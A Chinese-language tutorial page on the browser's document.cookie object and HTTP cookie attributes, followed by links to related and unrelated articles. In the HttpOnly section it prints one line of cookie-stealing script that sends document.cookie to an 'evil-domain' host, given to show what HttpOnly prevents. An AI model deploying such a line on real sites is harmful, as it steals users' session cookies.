BOM 浏览器对象模型_不超过 4 KB 的 document.cookie 对象
注意: 客户端储存应该使用 Web storage API 和 IndexedDB,不推荐使用 Cookie
document.cookie 对象
是服务器保存在浏览器的一小段文本信息
用于读写当前网页的 Cookie。
读取的时候,它会返回当前网页的所有 Cookie,前提是该 Cookie 不能有 HTTPOnly 属性。
var cookies = document.cookie.split(';'); for (var i = 0; i < cookies.length; i++) {
console.log(cookies[i]);
}
// foo=bar
// baz=bar- 为当前网站添加 Cookie,一次只能写一个 (属性值的等号两边不能有空格)
document.cookie = 'fontSize=14';
document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie // fontSize=14;test1=hello;test2=world // 同时写入属性
document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";document.cookie = 'fontSize=14; ' +
'expires=' + someDate.toGMTString() + '; ' +
'path=/subdirectory; ' +
'domain=*.example.com';// 属性一旦设置完成,就没有办法读取这些属性的值
- 删除一个现存 Cookie 的唯一方法,是设置它的 expires 属性为一个过去的日期
Cookie 的属性
- Cookie 的名字
- Cookie 的值(真正的数据写在这里面)
如果 Set-Cookie 字段没有指定 Expires 或 Max-Age 属性,那么这个 Cookie 就是 Session Cookie,
即它只在本次对话存在,一旦用户关闭浏览器,浏览器就不会再保留这个 Cookie
- Max-Age 指定从现在开始 Cookie 存在的秒数
比如60 * 60 * 24 * 365(即一年)。
过了这个时间以后,浏览器就不再保留这个 Cookie
如果同时指定了 Expires
和 Max-Age
,那么 Max-Age
的值将优先生效
- Expires 到期时间
到了指定时间以后,浏览器就不再保留这个 Cookie
它的值是 UTC 格式,可以使用 Date.prototype.toUTCString() 进行格式转换
如果不设置该属性,或者设为 null
,Cookie 只在当前会话(session)有效
浏览器窗口一旦关闭,当前 Session 结束,该 Cookie 就会被删除。
另外,浏览器根据本地时间,决定 Cookie 是否过期,
由于本地时间是不精确的,所以没有办法保证 Cookie 一定会在服务器指定的时间过期
- Domain 所属域名(默认是当前域名) 必须是当前发送 Cookie 的域名的一部分
指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。
如果没有指定该属性,浏览器会默认将其设为当前域名,这时子域名将不会附带这个 Cookie。
比如,example.com不设置 Cookie 的 domain 属性,那么 sub.example.com 将不会附带这个 Cookie
如果指定了 domain 属性,那么子域名也会附带这个 Cookie。
如果服务器指定的域名不属于当前域名,浏览器会拒绝这个 Cookie
- Path 生效的路径(默认是当前网址) 必须为绝对路径
指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。
只要浏览器发现,Path
属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie
比如,PATH
属性是/
,那么请求/docs
路径也会包含该 Cookie。当然,前提是域名必须一致
- Secure 表现当前网页的协议是 htpp 还是 https 加密
当前协议是 HTTP,浏览器会自动忽略服务器发来的 Secure
属性。
该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开
- HttpOnly 指定不让 JavaScript 读取到 Cookie
(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;
上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。
如果设置了一个 Cookie 的
HttpOnly
属性,上面代码就不会读到该 Cookie
每个 Cookie 容量很小,一般不能超过 4KB
浏览器每次向服务器发出请求,就会自动附上这段信息
- 举例来说,用户访问网址 www.example.com
服务器在浏览器写入一个 Cookie
这个 Cookie 就会包含 www.example.com 这个域名,以及根路径 /
这意味着,这个 Cookie 对该域名的根路径和它的所有子路径都有效。
以后,浏览器一旦访问这个路径,浏览器就会附上这段 Cookie 发送给服务器
- 主要用途:
- 分辨两个请求是否来自同一个浏览器
- 用来保存一些状态信息
- 常用场合
- 对话(session)管理 保存登录、购物车等需要记录的信息
- 个性化 保存用户的偏好,比如网页的字体大小、背景色等等
- 追踪 记录和分析用户行为
- 浏览器可以设置不接受 Cookie,也可以设置不向服务器发送 Cookie
window.navigator.cookieEnabled // 浏览器是否打开 Cookie 功能
- 不同浏览器对 Cookie 数量和大小的限制,是不一样的
一般来说,单个域名设置的 Cookie 不应超过30个
每个 Cookie 的大小不能超过 4KB
超过限制以后,Cookie 将被忽略,不会被设置
- 浏览器的同源政策规定,两个网址只要域名相同和端口相同,就可以共享 Cookie(参见《同源政策》一章)。
注意,这里不要求协议相同。
也就是说,http://example.com 设置的 Cookie,可以被 https://example.com 读取
Cookie 由 HTTP 协议生成,也主要是供 HTTP 协议使用
服务器如果希望在浏览器保存 Cookie,就要在 HTTP 响应的头信息里面,放置一个 Set-Cookie
字段
- Set-Cookie: foo=bar
- 会在浏览器保存一个名为 foo 的 Cookie,它的值为 bar
- HTTP 响应的头信息 可以包含多个
Set-Cookie
字段,即在浏览器生成多个 Cookie HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry [page content]- HTTP 响应的头信息 除了可以 Cookie 的值,
Set-Cookie
字段还可以附加 Cookie 的属性 Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnlySet-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly
如果服务器想改变一个早先设置的 Cookie 值,必须同时满足四个条件
Cookie 的key
、domain
、path
和secure
都匹配
原始 Cookie: Set-Cookie: key1=value1; domain=example.com; path=/blog
更改 Cookie: Set-Cookie: key1=value2; domain=example.com; path=/blog
浏览器向服务器发送 HTTP 请求时,每个请求都会带上相应的 Cookie
即 把服务器早前保存在浏览器的这段信息,再发回服务器。这时要使用 HTTP 头信息的Cookie
字段
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry
服务器收到浏览器发来的 Cookie 时,有两点是无法知道的
Cookie 的各种属性,比如何时过期
哪个域名设置的 Cookie,到底是一级域名设的,还是某一个二级域名设的
BOM 浏览器对象模型_不超过 4 KB 的 document.cookie 对象的更多相关文章
- BOM 浏览器对象模型_同源限制
“同源政策”(same-origin policy) 浏览器安全的基石 协议相同 域名相同 端口相同 1995年,同源政策由 Netscape 公司引入浏览器.目前,所有浏览器都实行这个政策 A 网页 ...
- BOM 浏览器对象模型_当前窗口的浏览历史 history 对象
当前窗口的浏览历史 window.history 对象 保存了当前窗口访问过的所有页面网址 由于安全原因,浏览器不允许脚本读取这些地址,但是允许在地址之间导航 history.back() 相当于 h ...
- BOM 浏览器对象模型_渲染引擎_JavaScript 引擎_网页加载流程
1. 浏览器核心的两个组成部分 渲染引擎 将网页代码渲染为用户视觉可以感知的平面文档 分类: Firefox Gecko 引擎 Safari WebKit 引擎 Chrom ...
- 第一百一十一节,JavaScript,BOM浏览器对象模型
JavaScript,BOM浏览器对象模型 学习要点: 1.window对象 2.location对象 3.history对象 BOM也叫浏览器对象模型,它提供了很多对象,用于访问浏览器的功能.BOM ...
- JavaScript——BOM(浏览器对象模型),时间间隔和暂停
BOM(浏览器对象模型):能够对浏览器的窗体进行訪问和操作 1.主要的BOM体系: window------------document-------------------------------- ...
- BOM浏览器对象模型
访问和操作浏览器窗口的模型称为浏览器对象模型BOM(Browser Object Model). BOM整体对象图. 核心是window对象: 以下有特殊双重身份: window对象既是ECMAScr ...
- javascript之BOM浏览器对象模型引入
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...
- JavaScript(二、BOM 浏览器对象模型)
一.BOM是什么 BOM是browser object model的缩写,简称浏览器对象模型 BOM提供了独立于内容而与浏览器窗口进行交互的对象 由于BOM主要用于管理窗口与窗口之间的通讯,因此其核心 ...
- BOM—浏览器对象模型(Browser Object Model)
1,javascript 组成部分: 1.ECMAscript(核心标准): 定义了基本的语法,比如:if for 数组 字符串 ... 2.BOM : 浏览器对象模型(Browser ...
随机推荐
- MessagePack for C#
MessagePack for C# 快速序列化组件MessagePack介绍 简介 MessagePack for C#(MessagePack-CSharp)是用于C#的极速MessagePa ...
- react实战项目开发(2) react几个重要概念以及JSX语法
前言 前面我们已经学习了利用官方脚手架搭建一套可以应用在生产环境下的React开发环境.那么今天这篇文章主要先了解几个react重要的概念,以及讲解本文的重要知识JSX语法 React重要概念 [思想 ...
- 常见RPC开源框架
什么是rpc框架先回答第一个问题:什么是RPC框架? 如果用一句话概括RPC就是:远程调用框架(Remote Procedure Call) 那什么是远程调用?通常我们调用一个php中的方法,比如这样 ...
- [物理学与PDEs]第5章习题4 广义 Hookean 定律的张量的对称性
设材料是超弹性的, 并设参考构形为自然状态, 证明由线性化得到的张量 ${\bf A}=(a_{ijkl})=\sex{2\cfrac{\p \bar p_{ij}}{c_{kl}}}$ 具有以下的对 ...
- [物理学与PDEs]第3章习题3电磁场的矢势在 Lorentz 规范下满足的方程
设 $\phi$ 及 ${\bf A}$ 分别为电磁场的标势及矢势 (见第一章 $\S$ 6). 试证明: 若 $\phi$ 及 ${\bf A}$ 满足条件 $$\bex \phi+\cfrac{1 ...
- UE4材质特别属生记录
tangent space normal 切线空间法线 材质默认使用的切线空间法线,可切换为对象空间法线(彩色贴图) Separate Translucency 单独半透明 允许半透明被渲染到一个单独 ...
- Entity Framework查询
Entity Framework是个好东西,虽然没有Hibernate功能强大,但使用更简便.今天整理一下常见SQL如何用EF来表达,Func形式和Linq形式都会列出来(本人更喜欢Func形式). ...
- django2.0无法加载外部css和js的问题
解决问题的思路来源于https://www.v2ex.com/t/430192 先是创建static目录,该目录与manage.py同级 然后在项目settings.py文件里添加 STATICFIL ...
- 第一周——数据分析之表示 —— Numpy入门
数据的维度 从一个数据到一组数据 一个数据:表达一个含义 一组数据:表达一个或者多个含义 维度:一组数据的组织形式 一维数据 由对等关系的有序或者无序数据构成,采用线性方式组织,对应列表.数组和集合等 ...
- ubuntu 16.04扩充root 分区
ubuntu使用过程中,提示root分区剩余空间不足,剩余200多M时还可以进行一些操作,剩余几M时拷贝等命令都不能够执行. 扩充root分区步骤如下: 1.查看root分区所在位置: 命令: sud ...